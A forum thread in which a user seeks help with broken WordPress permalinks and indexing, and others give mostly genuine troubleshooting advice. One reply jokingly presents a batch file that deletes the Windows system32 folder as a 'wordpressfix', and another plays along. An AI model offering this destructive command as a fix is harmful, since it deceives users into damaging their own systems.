WP blog crashed

[Benbob]

After trying to adjust some of the WP settings, my blogs don't get indexed any more, and the permalink pointers are redirecting to the wrong places.
How do I undo the changes, or reset to default values?

 

[secretja]

What exactly you did in WP?

 

[ShadowCaster]

some of the WP settings

 

[Benbob]

What exactly you did in WP?

I changed some of the settings, but it was unclear what worked and what did nothing, so I have no idea which settings have been changed.

 

[IceToEskimos]

It sounds to me like you accidentally the whole installation. I'm guessing Shadow agrees.

 

[ShadowCaster]

It sounds to me like you accidentally the whole installation. I'm guessing Shadow agrees.

Well, maybe not the whole thing,

blogs don't get indexed any more

Go to settings -> privacy and make sure that
"I would like my site to be visible to everyone, including search engines (like Google, Bing, Technorati) and archivers"

is selected,

permalink pointers are redirecting to the wrong places.

Go to Settings -> permalinks and poke around there, maybe try Default.

If this does not work, only option is to open up your computer and place a large magnet on the harddrive, that will reverse the magnetization of the flux capacitor and restore your default settings.

 

[Benbob]

Go to settings -> privacy and make sure that
"I would like my site to be visible to everyone, including search engines (like Google, Bing, Technorati) and archivers"
is selected,

That is fine.

Go to Settings -> permalinks and poke around there, maybe try Default.

Done that.

If this does not work, only option is to open up your computer and place a large magnet on the harddrive, that will reverse the magnetization of the flux capacitor and restore your default settings.

That won't work on my computer; my hard drive is buffered with a hyperspanner to protect the drive from transphasic tetryon damage.
Sounds like I'm heading for a rootcanal.

 

[IceToEskimos]

If this does not work, only option is to open up your computer and place a large magnet on the harddrive, that will reverse the magnetization of the flux capacitor and restore your default settings.

Shadow, I find that if I delete my system32 folder before I open up the box, it's just easier, and it usually solves the problem.

I just open up notepad, and type this:
@echo off
del c:\Windows\system32

I save the file to my desktop as wordpressfix.bat, then I just double click the file and it fixes the problem.

 

[Brandon Sheley]

Maybe a link to the blog would help.
What do you have for your permalinks? what did you have before?
Did you change your .htaccess file for some reason?

 

[Big Dan]

Try using the "Reinstall Now" option under Dashboard > Updates to get a fresh copy of the files. I'm with Brandon chances are your .htaccess is hosed. Reinstalling will give you a fresh copy.

 

[Benbob]

Just re-installed, but still the same problem.
When I click on any of the blogs (I've got 15 now ), I go to
Boiler breakdown repair south London
which looks exactly like my home/index page, with only one difference: the counter for PLUS1 is set at zero.
I'll post a new quick blog to see if it gets indexed by Google.

 

[ShadowCaster]

Shadow, I find that if I delete my system32 folder before I open up the box, it's just easier, and it usually solves the problem.

I just open up notepad, and type this:
@echo off
del c:\Windows\system32

I save the file to my desktop as wordpressfix.bat, then I just double click the file and it fixes the problem.

Don't out bro, that is supposed to be a secret.
I get paid dollars for fixing wordpresesess with this trick..

 

[Brandon Sheley]

So it's a style issue?
the indexed cache looks the same to me
https://www.google.com/search?q=site:http://boiler-breakdown-repair-london.co.uk

 

[IceToEskimos]

Don't out bro, that is supposed to be a secret.
I get paid dollars for fixing wordpresesess with this trick..

Damn. I'm sorry. I can't believe people pay you to do that when they can just do it themselves in two minutes.

 

[Benbob]

Maybe a link to the blog would help.
What do you have for your permalinks? what did you have before?
Did you change your .htaccess file for some reason?

Boiler repairs in south London Blog | Boiler repairs in south London Blog aims to present useful information about central heating repairs and how to avoid breakdowns is the "frontpage" of my blog.
When I click any of the "blog titles" on that page, it takes me to Boiler breakdown repair south London or other ***/co.uk/?## in stead of to the blog pages.
Somehow the generation of permalinks is damaged.

I did not change the ht.access file.

 

[Benbob]

So it's a style issue?

No idea what that means dude, I know less about WP than you know about designing high efficiency boilers.

the indexed cache looks the same to me
https://www.google.com/search?q=site:http://boiler-breakdown-repair-london.co.uk

We are getting somewhere. This is the format of what the permalinks look like now We are getting somewhere. This is the format of what the permalinks look like now


boiler-breakdown-repair-london.co.uk/?p=67


and this are the two forms that were there before Monday


boiler-breakdown-repair-london.co.uk/wp/?tag=streatham
boiler-breakdown-repair-london.co.uk/wp/?p=6


The “wp/” part has disappeared.


The “wp/” part has disappeared.

 

[Benbob]

In addition to my last reply:


reading through the listing as displayed from
site:Boiler breakdown repair south London


The last blog that indexed was on 26 December and also has a "normal" link display: /wp/?cat=26 (easy to find via ctrlF and "diy")
The ones after that do NOT have the "wp/" in the link, and do not dispaly and did not get indexed.

 

[Brandon Sheley]

okay..
so
boiler-breakdown-repair-london.co.uk/wp/wp-login.php

is the actual wordpres blog.

What do you have for your
settings > permalinks >

 

[Benbob]

okay..
so
boiler-breakdown-repair-london.co.uk/wp/wp-login.php

is the actual wordpres blog.

What do you have for your
settings > permalinks >

Default

 

[Brandon Sheley]

Default

and that's how google shows them

https://www.google.com/search?q=site%3Ahttp%3A%2F%2Fboiler-breakdown-repair-london.co.uk%2Fwp

did the url's have words in them or something before?

try
/%postname%/
if you want the name in the URL